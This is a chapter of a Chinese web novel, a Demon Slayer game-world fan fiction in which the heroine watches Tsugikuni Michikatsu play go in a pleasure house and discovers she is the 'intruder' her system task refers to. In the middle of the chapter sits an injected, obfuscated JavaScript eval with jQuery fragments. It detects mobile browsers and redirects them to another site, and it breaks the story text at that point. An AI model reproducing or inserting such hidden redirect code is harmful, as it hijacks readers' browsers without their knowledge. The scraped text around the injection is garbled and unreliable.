43.第四十三章
作品:《[鬼灭]今天和上弦贴贴了吗》 虽然严胜只是一个剧情错乱生成在此存档的角色,与其设定相关的东西意外地很严谨。
朝奈坐在一旁的角落里,闻着空气中淡淡的茶香。
面前摆着一壶茶和一碟点心。
老板娘喊她添茶倒水,实际上她已经在这干坐了大半个时辰,甚至都不需要起身。
她从墙壁上的画有多少片叶子数到茶几上有多少道纹路。
中途还有闲工夫思考严胜那身深色的衣服那么吸热,为什么他不出汗?
木村先生看着岁数也不算特别大,怎么就白了头发?
房间里的两人一个执黑,攻势凌厉,落子如飞,一个执白,不动如山,沉吟良久。
棋盘上黑白交错,局势焦灼。
她的目光在那些纵横交错的线条上转了一圈,然后在心里叹了口气。
怎么真的有人来游女屋不是喝茶就是下棋啊?
这里是干这种事情的地方吗?
她在错误存档的这些天里,见过的客人没有一百也有八十。
什么喝得烂醉胡言乱语说要娶老板娘的,什么对着游女们吹牛说自己家财万贯结果酒钱都得赊的,都是家常便饭。
甚至还有人趁着酒劲动手动脚,又或者是哭哭啼啼诉说自己过往悲惨的情史,朝奈都感觉自己的耳朵受到了玷污。
总之,什么样的奇葩都有。
但来这下棋的,真的只有面前这位。
朝奈看着严胜那张神情淡然的脸,想起别的姑娘们私底下的议论。
“继国先生啊,来这么多次,从来不叫人陪。”
“上次阿泷又想凑过去说话,他看了她一眼,阿泷就没敢再往前了。”
“那眼神也不凶,就是...就是让人不敢靠近。”
“真不知道他这样的人为何要来这里。”
朝奈瞥见对弈的两人棋盘旁已经凉透的茶,眼看他们没有任何要换茶的意思,也乐得清闲。
这时有点怀念直播间的弹幕吐槽,只可惜在切换副本的时候直播掉线了,她那会没顾得上重连。
窗外传来一阵大笑,反倒衬得这间屋子更安静了。
她把茶杯放下,换了个姿势继续坐着。
从窗外斜进来的阳光刚好落在她脚边,她盯着看了一会,思考起系统发布的怪异任务。
寻找非本存档介入者。
眼前的继国严胜俨然就是误入错误时间线的人。
可是,问题真的会有这么简单吗?
这游戏系统八百个心眼子,朝奈不信系统会发布这种简单的送分题。
木村落下一子,装作不经意般开口,“继国兄。”
严胜看着棋盘,淡淡地应了一声,“嗯。”
“最近怎么总答应他来这里?”
朝奈倒也不是有心偷听他们的对话,就这么个屋子,抬头不见低头见的,根本没办法回避。
她知道这句话里的“他”指的是日和先生,这几次来荻本屋,名义上都是日和先生的邀约,但其实日和先生最近不在,就严胜和木村先生一起下棋。
对话在这里停住了片刻。
双方各自落下一枚棋子后,严胜才幽幽开口。
“为了见一个人。”
日光在他身上落下一层淡金色的光,睫毛在眼睑下投下淡淡的阴影。
他说这话时,神色专注,仿佛完全沉浸在了棋盘上的战局中。
木村摸了把自己的小胡子,随即露出一个意味深长的笑。
“哦?”他拖长调子,目光在房间里转了一圈,故意略过了角落里的那道身影,“这个房间里是谁值得继国兄这般惦记呢?”
严胜没说话。
木村的笑更深了。
他捻起一枚棋子,在指间转了转,慢悠悠地说:“我认识你多少年了?”
“十三年。”严胜说。
“对,十三年。”木村点头,“这十三年里,倒是没见过继国兄说这般话。”
见对方没有要回答的意思,他也不追问,低头去看那步棋。
看着看着,他的眉头皱了起来,执棋的手半天没有落下去。
“你这步棋倒是有点意思。”他赞许道。
又看了半天,木村终于落下一子。
朝奈看着那步棋,知道下得并不好。
从局势上看,黑棋本来还有一点机会,但这一步之后,白棋的优势已经呈压倒之势了。
她收回自己的目光,继续喝茶。
不过木村已经注意到了她的视线。
他转过头,“怎么,小悠姑娘看得懂棋?”
“略懂一点。”
“是吗?”木村来了兴趣,“那你说说,刚才那步棋怎么样?”
朝奈想了片刻,开口,“黑棋刚才那一子,落得急了。”
木村示意她接着说。
她指了一下棋盘上的某个位置,“如果是我,会先在这里落一子,逼白棋应一手,然后再转回刚才的位置。”
“这样虽然救不了大局,但至少能多撑二十手。”
闻言,木村盯着她指的那个地方看了一小会,由衷地发出赞叹,“妙啊!妙啊!”
他哈哈大笑,把手里的棋子往棋盒里一丢,站起身,“行行行,我彻底认输了。”
“跟继国兄下棋,实在是愧不能及也。”
严胜见状也收了棋子。
木村冲朝奈挤了挤眼:“小悠姑娘,你陪他下一局?”
朝奈其实是想拒绝的,因为她之前和黑死牟下过,水平确实不在一个层级。
不过她有些话想单独问严胜,便答应了下来。
木村先生走后,朝奈坐在棋盘前,严胜就在对面。
两个人都没有要重启棋局的意思。
棋盘被照射进来的日光映出一道明亮的痕迹,把那一片的黑白棋子照得反光。
朝奈盯着棋盘上的纹路,想了想还是开了口。
“继国先生。”
与此同时,坐在对面的人也开了口。
“小悠姑娘。”
两个人的声音重叠在一起,又同时停住。
她愣了一下,抬眼看他。
严胜的表情倒是没什么变化,他微微抬手,做了个请的手势,“你先说吧。”
朝奈没推辞,把那个在心里转了好几圈的问题问了出来。
“你会不会偶尔觉得,”她注视着对方的眼睛,“这个世界有些奇怪呢?”
“要看是以什么样的视角。”
他回答的声音很平静,似乎不带有任何情绪。
品了品,她却觉得严胜这句话里有话。
片刻后她询问:“那么,你的问题是什么?”
严胜的眉梢微动,深邃的目光宛若在透过她寻找另一个人的身影。
他淡淡地问,“你不是小悠姑娘,对吧?”
该说不说,不愧是月柱。
太敏锐了。
虽然她也没打算藏好自己的马甲,但系统NPC居然会对玩家的身份产生质疑?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308618|195983||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
朝奈收回思绪,也学着他方才的语气,慢悠悠地回答:“对,或者不对,也要看以什么样的视角。”
话毕,窗外传来一阵孩童玩闹的笑声,声音隔着点距离显得有些不真切。
“你刚才说,这个世界会不会很奇怪。”
“如果有一天你发现,”他说,“你以为的自己并不是真正的自己,你以为走过的路,其实从未走过。”
他停顿了片刻,“那算是奇怪吗?”
朝奈端起那杯凉透的茶抿了一小口。
茶很苦。
她放下茶杯,注视着杯中浅浅的涟漪慢慢平息。
“那要看,哪一个更让你觉得真实。”
过了一会,严胜收回目光。
“我知道了。”
他是这么说的,然后站起身。
“这局棋算作我欠你的,改日再下。”
朝奈看着他把那把刀配回腰间,理了理袖口。
临走之际,只留下了最后一句话。
“小悠姑娘刚才的那个问题,我的答案是,会。”
朝奈放下茶杯,也站起身来。
拜她良好的听力所赐,老板娘在隔壁招呼客人的声音隐隐传来,还能听见几声游女娇俏的笑。
她走到窗边,往外看了一眼。
和往常别无二样。
她的目光越过那些熟悉的面孔,落在了门外。
街上人来人往,还是一眼就看见了那抹深色的身影。
他走的不算快,步伐沉稳,颇有一种周围行人自动避让出一条路的感觉。
没由来的,他突然停下,侧眸往她的方向看了一眼。
时间的流逝在这一刻变得无比漫长。
就好像他们之间隔着的不是距离,而是漫长的岁月。
下一瞬,他继续向前走去,很快消失在人群里。
朝奈垂下眼,一时思绪万千。
这个错误存档不知道猴年马月才能出去,等着她的那些麻烦还没解决完,她不能再坐以待毙了。
刚这么想完,半透明的屏幕突然在眼前弹出。
[系统提升:任务完成]
[恭喜玩家成功找到“非本存档介入者”]
[任务奖励:切换存档权限恢复]
[正在自动修复异常中,请稍后。]
[修复完成]
[玩家可随时选择退出]
系统自说自话般蹦出来一堆弹窗,把她干沉默了。
任务完成了?
她什么都没做吧。
回想在这个世界里做过的事情,就上了个茶,看别人下了几盘棋,说了几句云里雾里的谜语。
然后任务就完成了?
“小奈?”
朝隼的声音突然在耳边炸开,震得她耳朵一麻。
“小奈小奈小奈!你能听见吗?”
“终于连上了,你知道我这一下午是怎么过的吗?我重启了起码十多次系统,调了不知道多少个备用端口,差点就准备去找你说的那只猫了——”
“......”
朝奈揉了揉自己隐隐作痛的耳朵,也从先前的纳闷中回过神来。
现在的情况她大概明白了。
系统那个古怪的任务,她从一开始就被思维定式影响陷入了误区。
寻找非本存档介入者。这是个没有主语的句子。
所以,不是她找,而是某个人在找她。
介入者不是别人,正是她自己。

